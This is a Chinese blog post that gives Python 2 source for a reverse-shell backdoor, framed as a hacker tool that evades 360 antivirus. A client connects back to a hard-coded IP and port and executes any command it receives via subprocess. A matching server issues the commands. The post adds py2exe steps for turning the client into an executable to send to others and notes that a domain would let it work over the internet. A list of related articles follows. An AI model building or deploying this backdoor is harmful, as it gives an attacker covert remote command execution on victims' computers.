构思:

client:反向连接server,执行shell命令

server:发送命令,控制客户端

import subprocess
import socket
import threading target="172.22.40.41"
port=55555
buffer="" def sendMag(c_socket):
global buffer while True:
#send cmd if len(buffer):
try:
print "c_buffer>>>>", buffer
c_socket.send(buffer)
except:
print "socket send error" print buffer
buffer="" def getMag(client_socket):
global buffer while True:
resc=""
len_resc=1
while len_resc:
datas=client_socket.recv(4096)
len_resc=len(datas)
resc+=datas
if len_resc<4096:
break if not len(resc):
res_cmd="ERROR COMMAND"
res_cmd=cmd(resc)
try: if not len(res_cmd):
res_cmd="NO MAG" buffer+=res_cmd except:
print "soc send reeor" def c_rec():
global target
global port
client_socket=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try: client_socket.connect((target,port))
except:
print "SOCKET CONNECT FAILED" get_thread=threading.Thread(target=getMag,args=(client_socket,))
get_thread.start()
send_thread=threading.Thread(target=sendMag,args=(client_socket,))
send_thread.start() def cmd(str):
str=str.rstrip()
try: res_cmd=subprocess.check_output(str,shell=True) except:
res_cmd="ERROR COMMEND!!" if not len(res_cmd):
res_cmd="ERROR BACK" return res_cmd def main():
c_rec() main()
import socket
import threading target="0.0.0.0"
port=55555 def s_loop():
global target
global port
server=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
server.bind((target,port)) server.listen(5)
while True:
c_socket,addr=server.accept()
print "A Client Connect" send_thread=threading.Thread(target=sendMag,args=(c_socket,))
send_thread.start() get_thread=threading.Thread(target=getMag,args=(c_socket,))
get_thread.start() def sendMag(c_socket):
while True:
#send cmd command=raw_input("#")
try: if len(command):
c_socket.send(command) except:
print "server send error" def getMag(c_socket):
while True:
#get mag from client
recvs="" len_rec=1
while len_rec:
datas=c_socket.recv(4096) len_rec=len(datas)
recvs+=datas
if len_rec<4096:
break print "get from Catc::",recvs def main():
s_loop() main()

可以用py2exe生成exe执行文件,发给测试者,如果有域名就更好了,可以在外网使用。

假设有一个Hello.py需要生成exe文件

习惯在同一目录下新建setup.py文件

内容:

from distutils.core import setup
import py2exe setup(console=['x:/xxx/hello.py'])

注意一定是全路径。

cmd进入setup.py的目录下:

python ./setup.py py2exe

成功会在同级目录生成dist、build,exe文件在dist里

Python写黑客小工具,360免杀的更多相关文章

  1. Python写安全小工具-TCP全连接端口扫描器

    通过端口扫描我们可以知道目标主机都开放了哪些服务,下面通过TCP connect来实现一个TCP全连接端口扫描器. 一个简单的端口扫描器 #!/usr/bin/python3 # -*- coding ...

  2. Atitit.木马 病毒 免杀 技术 360免杀 杀毒软件免杀 原理与原则 attilax 总结

    Atitit.木马 病毒 免杀 技术 360免杀 杀毒软件免杀 原理与原则 attilax 总结 1. ,免杀技术的用途2 1.1. 病毒木马的编写2 1.2. 软件保护所用的加密产品(比如壳)中,有 ...

  3. Python趣味实用小工具

    代码地址如下:http://www.demodashi.com/demo/12918.html python 趣味实用小工具 概述 用python实现的三个趣味实用小工具: 图片转Execl工具 , ...

  4. Python+Tkinter 密保小工具

    上图 代码 核心 编解码方面 Tkinter界面更新 总结 昨天被一同学告知,网上的一个QQ密码库中有我的一条记录,当时我就震惊了,赶紧换了密码.当然了,这件事也给了我一个警示,那就是定期的更换自己的 ...

  5. 应急分析异常通信的小思路和自己写的小工具(查询CNAME和A记录)

    一.背景: 在很多时候,应急会发现.卧槽,异常连接,只有一个域名或者IP. 怎么办?上防火墙看记录,查域名对应的记录累成狗,自己把之前的代码改了改,写了个小工具,一条命令查询DNS相关记录,也可以指定 ...

  6. python提效小工具-统计xmind用例数量

    问题:做测试的朋友们经常会用到xmind这个工具来梳理测试点或写测试用例,但是xmind8没有自带的统计测试用例,其他版本的xmind有些自带节点数量统计功能,但也也不会累计最终的数量,导致统计测试工 ...

  7. [No00006C]文件名复制,归档小助手【自己写的小工具,希望能帮助大家】

    特别补充一句:软件可以一次性复制多个文件的文件名. Windows 中的复制文件名实在是有些不方便 ,需要点右键 "重命名"之后再点右键选择"复制"才可复制文件 ...

  8. 分享一个很早之前写的小工具DtSpyPlus

    几年前写的一个获取windows窗体基本信息和屏幕取色的小工具 ,一直在用. 下载地址 http://files.cnblogs.com/dint/SpyPlus.zip

  9. 几个可以提高工作效率的Python内置小工具

    在这篇文章里,我们将会介绍4个Python解释器自身提供的小工具.这些小工具在笔者的日常工作中经常用到,减少了各种时间的浪费,然而,却很容易被大家忽略.每当有新来的同事看到我这么使用时,都忍不住感叹, ...

随机推荐

  1. MT【242】图像几何意义

    设函数$f(x)=x^2+ax+b$,已知函数$f(x)$在$[-1,1]$上存在零点,若$0\le b-2a\le 1$,求$b$的范围 (2015浙江文科高考20(2)) 分析:理解成$g(x)= ...

  2. [树链剖分]hihocoder1883

    描述 有一个无向图,有n个点,m1条第一类边和m2条第二类边.第一类边有边权,第二类边无边权.请为第二类的每条边定义一个边权,使得第二类边可能全部出现在该无向图的最小生成树上,同时要求第二类边的边权总 ...

  3. # BZOJ5300 [CQOI2018]九连环 题解 | 高精度 FFT

    今天做了传说中的CQOI六道板子题--有了一种自己很巨的错觉(雾 题面 求n连环的最少步数,n <= 1e5. 题解 首先--我不会玩九连环-- 通过找规律(其实是百度搜索)可知,\(n\)连环 ...

  4. bzoj1007/luogu3194 水平可见直线 (单调栈)

    先按斜率从小到大排序,然后如果排在后面的点B和前面的点A的交点是P,那B会把A在P的右半段覆盖掉,A会把B在P的左半段覆盖掉. 然后如果我们现在又进来了一条线,它跟上一条的交点还在上一条和上上条的左边 ...

  5. 前端学习 -- Html&Css -- 背景

    background 在一个声明中设置所有的背景属性. background-attachment 设置背景图像是否固定或者随着页面的其余部分滚动. background-color 设置元素的背景颜 ...

  6. linux动态库与静态库混合连接

      1, 在应用程序需要连接外部库的情况下,linux默认对库的连接是使用动态库,在找不到动态库的情况下再选择静态库.使用方式为: gcc test.cpp -L. -ltestlib 如果当前目录有 ...

  7. 洛谷P1600 天天爱跑步

    天天放毒... 首先介绍一个树上差分. 每次进入的时候记录贡献,跟出来的时候的差值就是子树贡献. 然后就可以做了. 发现考虑每个人的贡献有困难. 于是考虑每个观察员的答案. 把路径拆成两条,以lca分 ...

  8. A1090. Highest Price in Supply Chain

    A supply chain is a network of retailers(零售商), distributors(经销商), and suppliers(供应商)-- everyone invo ...

  9. 网络流 KM dinic

    study from: https://blog.csdn.net/A_Comme_Amour/article/details/79356220 1. Edmonds-Karp 无优化 最坏时间复杂度 ...

  10. terminal下历史命令自动完成功能history auto complete

    CentOS下,有一个很智能的功能,就是只输入一条历史命令的前几个字母,再按PageUp和PageDown键,就可以在以此字母为前缀的历史命令中上下切换.这个功能非常实用,而且比CTRL+R使用起来更 ...